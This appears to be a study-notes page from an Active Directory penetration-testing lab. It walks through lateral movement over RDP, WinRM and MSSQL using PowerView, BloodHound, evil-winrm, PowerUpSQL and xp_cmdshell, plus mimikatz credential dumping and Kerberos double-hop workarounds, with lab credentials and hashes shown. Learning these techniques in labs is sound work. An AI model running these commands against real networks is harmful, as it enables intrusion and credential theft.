🗝️Privileged Access
Access
Once we have gained a foothold in the domain we can try and advance our position further by moving laterally or vertically to obtain access to other hosts.
If we don't have local admin rights on any hosts, we can use other methods to move around the Windows domain.
These are listed as follows:
RDP
If we have control of a local admin user then we will be able to access it via RDP. Even if we do not have a user with local admin rights, it may still have the rights to RDP into one or more machines meaning we would be able to:
Launch further attacks
Escalate privileges and obtain creds for a higher privileged user
Pillage the host for sensitive data and creds
Enumerating the RDP Users Group
With PowerView, we can use the following function to begin enumerating members of the Remote Desktop Users group.
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"Checking Domain Users Group Local Admin & Execution Rights
We can use Bloodhound to check if the Domain Users Group has local admin or execution rights (RDP, WInRM) over one or more hosts.
We can do the same for an individual user too
PowerShell Remoting
Also referred to as PSRemoting or WinRM access, it is a Remote access protocol that allows us to run commands or enter an interactive command line.
Enumerating the Remote Management Users Group
We can find if a user or a whole group has WinRM access to one or more hosts.
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"Cypher Query in BloodHound
We can do the same using a cypher query in BloodHound
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2
We can save a custom query to BloodHound so it's always available
Establishing WinRM Session from Windows
From our Windows host, we can use the Enter-PSSession using PowerShell
$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)
Enter-PSSession -ComputerName ACADEMY-EA-DB01 -Credential $cred
[ACADEMY-EA-DB01]: PS C:\Users\forend\Documents> hostname
ACADEMY-EA-DB01
[ACADEMY-EA-DB01]: PS C:\Users\forend\Documents> Exit-PSSession
PS C:\htb> Connecting to a Target with Evil-WinRM
From our Linux host, we can run evil-winrm to connect
evil-winrm -i 10.129.201.234 -u forend
Enter Password:
Evil-WinRM shell v3.3
MSSQL Server
It's common to find user and service accounts set up with sysadmin privileges on a given SQL server instance. We can get creds for an account via Kerberoasting or LLMNR/NBT-NS Response Spoofing.
We can also use a tool likeSnaffler to find web.config or other types of config files that contain SQL server connection strings.
Using Cypher Query to Check for SQL Admin Rights
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2
We can use our ACL rights to authenticate with our current user and then change the password for our target user and then authenticate with the target using a tool such as PowerUpSQL,
Here is a helpful command cheat sheet.
Hunting for MSSQL Instance with PowerUpSQL
cd .\PowerUpSQL\
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain
ComputerName : ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL
Instance : ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL,1433
DomainAccountSid : 1500000521000170152142291832437223174127203170152400
DomainAccount : damundsen
DomainAccountCn : Dana Amundsen
Service : MSSQLSvc
Spn : MSSQLSvc/ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL:1433
LastLogon : 4/6/2022 11:59 AMWe could then authenticate against the remote SQL server host and run custom queries or OS commands
Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'Running mssqlclient.py Against Target
We can also authenticate from our Linux host
mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-authEnabling xp_cmdshell
enable_xp_cmdshellOnce enabled we can run commands in the format xp_cmdshell <cmd>
Enumerating our Rights on the System using xp_cmdshell
We can enumerate the rights that our user has on the system
xp_cmdshell whoami /privA Closing Thought
When we fund SQL creds we should always test access against any MSSQL servers in the environment. This type of access is almost guaranteed SYSTEM access over a host.
Kerberos Double Hop Problem
The double hop problem arises when a n attacker attempts to use Kerberos authentication across two or more hops. It occurs when using WinRM / PS since the default authentication mechanism only provides a ticket to access a scecifdic resource. The can cause issues when trying to perform lateral movement or access file from the remote shell.
When we use WinRM to authenticate over two or more connections the users password is neevr cached as part of their login. If we use Mimikatz to examine the session we can see all creds are blank.
Examining with Mimikatz
Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm
PS C:\Users\backupadm\Documents> cd 'C:\Users\Public\'
PS C:\Users\Public> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 45177 (00000000:0000b079)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID : S-1-5-96-0-1
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : fb ec 60 8b 93 99 ee 24 a1 dd bf fa a8 da fd 61 cc 14 5c 30 ea 6a e9 f4 bb bc ca 1f be a7 9e ce 8b 79 d8 cb 4d 65 d3 42 e7 a1 98 ad 8e 43 3e b5 77 80 40 c4 ce 61 27 90 37 dc d8 62 e1 77 7a 48 2d b2 d8 9f 4b b8 7a be e8 a4 20 3b 1e 32 67 a6 21 4a b8 e3 ac 01 00 d2 c3 68 37 fd ad e3 09 d7 f1 15 0d 52 ce fb 6d 15 8d b3 c8 c1 a3 c1 82 54 11 f9 5f 21 94 bb cb f7 cc 29 ba 3c c9 5d 5d 41 50 89 ea 79 38 f3 f2 3f 64 49 8a b0 83 b4 33 1b 59 67 9e b2 d1 d3 76 99 3c ae 5c 7c b7 1f 0d d5 fb cc f9 e2 67 33 06 fe 08 b5 16 c6 a5 c0 26 e0 30 af 37 28 5e 3b 0e 72 b8 88 7f 92 09 2e c4 2a 10 e5 0d f4 85 e7 53 5f 9c 43 13 90 61 62 97 72 bf bf 81 36 c0 6f 0f 4e 48 38 b8 c4 ca f8 ac e0 73 1c 2d 18 ee ed 8f 55 4d 73 33 a4 fa 32 94 a9
ssp :
credman :We have three hosts Attack -> DEV01 -> DC01 as shown below.
Our attack host (Linux) is within the coperate network but not domain joined. We obtain a seto f creds for a domain user and find they are part of the "Remote Management Users" group on DEV01.
We want to use PowerView to enumerate the domain, which requres communication with the DC.
When we use a tool such as evil-winrm to connect to DEV01 we will see our creds are not stored in memory which means we they will not be present on the system to authenticate to other resources.
If we attempt to query AD, Kerberos has no way of telling the DC that our user can access resources in the domain. This happen because the users TGT ticket is not sent to the remote session.
Workarounds
There a few workarounds for the double-hop shown in this post
Workaround #1 - PSCredential Object
We can connect to the remote host via host A and set up a PSCredential object to pass our credential again.
We first connect to the remote host with domain credentials, we then import powerview and then try to run a command.
*Evil-WinRM*
PS C:\Users\backupadm\Documents> import-module .\PowerView.ps1If we check with klist we would see we only have a cached Kerberos ticket for our current server
*Evil-WinRM*
PS C:\Users\backupadm\Documents> klist
#0> Client: backupadm @ INLANEFREIGHT.LOCAL
Server: academy-aen-ms0$ @
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0xa10000 -> renewable pre_authent name_canonicalize
Start Time: 6/28/2022 7:31:53 (local)
End Time: 6/28/2022 7:46:53 (local)
Renew Time: 7/5/2022 7:31:18 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x4 -> S4U
Kdc Called: DC01.INLANEFREIGHT.LOCALWe can set up our PSCredential object then try to query the SPN accounts
PS C:\Users\backupadm\Documents> $SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\backupadm', $SecPassword)
get-domainuser -spn -credential $Cred | select samaccountnameWorkaround #2 - Register PSSession Configuration
If we are on a domain-joined host and can connect remotely to anotehr using WinRm then we change our setup to interact directly with the DC.
We start by establishing a WInRm sesion on the remote host
Enter-PSSession -ComputerName ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL -Credential inlanefreight\backupadmWe can regist a new session configuration with the Register-PSSessionConfiguration cmdlet
Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential inlanefreight\backupadm
get-domainuser -spn | select samaccountnameOnce completed we need to restart the WinRm service with Restart-Service WInRM in our PowerShell session. Once complete we will see we have fixed the double hop problem. This works because our local machine will now impersonate the remote machine in the context of the targed user (backupadm in this case) and all request from our machine will be sent directly to the DC.
Last updated
Was this helpful?